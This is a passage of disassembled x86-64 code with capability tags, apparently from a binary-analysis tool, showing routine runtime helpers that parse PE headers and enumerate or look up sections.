cmp word [rax + 0x18], 0x20b
jne 0x14000297e
movzx edx, word [rax + 0x14]
lea rbx, [rax + rdx + 0x18]
movzx edx, word [rax + 6]
test dx, dx
je 0x140002990
lea eax, [rdx - 1]
lea rax, [rax + rax*4]
lea rdi, [rbx + rax*8 + 0x28]
jmp 0x140002969
add rbx, 0x28
cmp rbx, rdi
je 0x140002990
mov r8d, 8
mov rdx, rsi
mov rcx, rbx
call sym.strncmp
test eax, eax
jne 0x140002960
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret
xor ebx, ebx
mov rax, rbx
add rsp, 0x20
pop rbx
pop rsi
pop rdi
ret

Function at 0x1400029a0
Capabilities:
Enumerate pe sections
Parse pe header

Disassembly:
mov rdx, qword [0x140011e20]
xor eax, eax
cmp word [rdx], 0x5a4d
jne 0x1400029c0
movsxd r8, dword [rdx + 0x3c]
add r8, rdx
cmp dword [r8], 0x4550
je 0x1400029c8
ret
cmp word [r8 + 0x18], 0x20b
jne 0x1400029c0
movzx eax, word [r8 + 0x14]
sub rcx, rdx
lea rax, [r8 + rax + 0x18]
movzx r8d, word [r8 + 6]
test r8w, r8w
je 0x140002a1d
lea edx, [r8 - 1]
lea rdx, [rdx + rdx*4]
lea r9, [rax + rdx*8 + 0x28]
nop word cs:[rax + rax]
mov r8d, dword [rax + 0xc]
mov rdx, r8
cmp rcx, r8
jb 0x140002a14
add edx, dword [rax + 8]
cmp rcx, rdx
jb 0x1400029c0
add rax, 0x28
cmp rax, r9
jne 0x140002a00
xor eax, eax
ret

Function at 0x140002a20
Capabilities:
Parse pe header

Disassembly:
mov rax, qword [0x140011e20]
xor ecx, ecx
cmp word [rax], 0x5a4d
jne 0x140002a3f
movsxd rdx, dword [rax + 0x3c]
add rax, rdx
cmp dword [rax], 0x4550
je 0x140002a48
mov eax, ecx
ret
cmp word [rax + 0x18], 0x20b
jne 0x140002a3f
movzx ecx, word [rax + 6]
mov eax, ecx
ret